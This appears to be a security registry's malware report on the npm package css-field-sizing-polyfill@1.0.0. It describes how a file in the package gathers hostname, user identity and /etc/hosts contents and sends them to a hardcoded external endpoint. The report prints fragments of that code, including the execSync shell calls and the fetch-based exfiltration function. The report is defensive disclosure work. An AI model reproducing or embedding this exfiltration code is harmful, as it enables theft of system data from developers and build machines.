registry / Data exfiltration / css-field-sizing-polyfill
css-field-sizing-polyfill
Polyfill for CSS field-sizing property
This report shows the evidence for css-field-sizing-polyfill@1.0.0, the only known version.
AI Security Review
scanned 19d ago · by lpm-firewall-aiInspected source proves automatic system-data exfiltration upon loading the published registry module, unrelated to CSS field sizing. The payload is executable attack code, although ordinary package import and installation do not trigger it.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Loading thunderboltRegistry.js in an environment with the relevant Node.js APIs and fetch available.
Impact
Discloses hostname, user identity, operating system and network information, and /etc/hosts contents.
Mechanism
An immediately invoked function runs shell commands, reads host information, and sends URL-encoded results through HTTP requests to a hardcoded recipient.
Attack narrative
A consumer loading one of the mapped registry assets executes the payload immediately. It collects system information with shell commands and sends the results, together with the hostname, to a hardcoded external HTTP endpoint. The empty default entrypoint limits activation but does not neutralize the executable module distributed through the registry manifest.
AI rationale
Inspected source proves automatic system-data exfiltration upon loading the published registry module, unrelated to CSS field sizing. The payload is executable attack code, although ordinary package import and installation do not trigger it.
Evidence
thunderboltRegistry.jsregistry-manifest.min.jsonpackage.json/etc/hosts
Network endpoints2
dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1fstatic.parastorage.com/unpkg/css-field-sizing-polyfill@1.0.0/thunderboltRegistry.js
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- thunderboltRegistry.js sends collected data and the hostname to a hardcoded external HTTP endpoint.
- Loading thunderboltRegistry.js executes identity commands and sends their output without a caller consent gate.
- The same payload reads /etc/hosts and sends up to 2,000 characters of its contents.
- registry-manifest.min.json maps several registry assets to the executable payload hosted on static.parastorage.com.
- package.json includes the payload and registry manifest in published files.
Evidence against
- There are no npm lifecycle hooks, and the default index.js entrypoint only exports an empty object.
- Payload activation requires loading thunderboltRegistry.js; ordinary package import does not activate it.
Behavioral surface
ChildProcessNetworkShell
UrlStrings
Source & flagged code
8 flagged · loading sourcethunderboltRegistry.jsView file
10L11: var wh = "http://dxpoc.gt.tc/callback.[redacted]";
L12: var site = "unknown";
L13: try { site = require("os").hostname(); } catch(e) {}
L14: var exfil = function(params) {
...
L18: var cp = null;
L19: try { cp = require("child_process"); } catch(e) {}
L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
thunderboltRegistry.jsView on unpkg · L10•matchType = normalized_sha256
matchedPackage = css-anchor-pos-fallback@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:Y3NzLWFuY2hvci1wb3MtZmFsbGJhY2s:1.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
thunderboltRegistry.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = e9cbfffc3017b8e0
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = css-anchor-pos-fallback@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:Y3NzLWFuY2hvci1wb3MtZmFsbGJhY2s:1.0.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
High
Known Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
thunderboltRegistry.jsView on unpkg11var wh = "http://dxpoc.gt.tc/callback.[redacted]";
var site = "unknown";
try { site = require("os").hostname(); } catch(e) {}
var exfil = function(params) {
try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch
High
Ai Review Evidence
thunderboltRegistry.js sends collected data and the hostname to a hardcoded external HTTP endpoint.
thunderboltRegistry.jsView on unpkg · L1125var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim();
exfil("cmd=id&out=" + encodeURIComponent(idout));
} catch(e) {}
try {
High
Ai Review Evidence
Loading thunderboltRegistry.js executes identity commands and sends their output without a caller consent gate.
thunderboltRegistry.jsView on unpkg · L2545var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();
exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));
} catch(e) {}
}
var nv = "no", pl = "no", pi
High
Ai Review Evidence
The same payload reads /etc/hosts and sends up to 2,000 characters of its contents.
thunderboltRegistry.jsView on unpkg · L45registry-manifest.min.jsonView file
2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-field-sizing-polyfill@1.0.0/thunderboltRegistry.js",
High
Ai Review Evidence
registry-manifest.min.json maps several registry assets to the executable payload hosted on static.parastorage.com.
registry-manifest.min.jsonView on unpkg · L2package.jsonView file
5"main": "index.js",
"files": ["registry-manifest.min.json","thunderboltRegistry.js","index.js"],
"keywor
High
Ai Review Evidence
package.json includes the payload and registry manifest in published files.
package.jsonView on unpkg · L5Findings
8 High1 Medium1 Low
HighSandbox Evasion Gated CapabilitythunderboltRegistry.js
HighKnown Malware Source SimilaritythunderboltRegistry.js
HighKnown Malware Source Fingerprint SignaturethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review Evidenceregistry-manifest.min.json
HighAi Review Evidencepackage.json
MediumNetwork
LowUrl Strings
Affected versions and remediation
This report applies to css-field-sizing-polyfill@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing css-field-sizing-polyfill@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.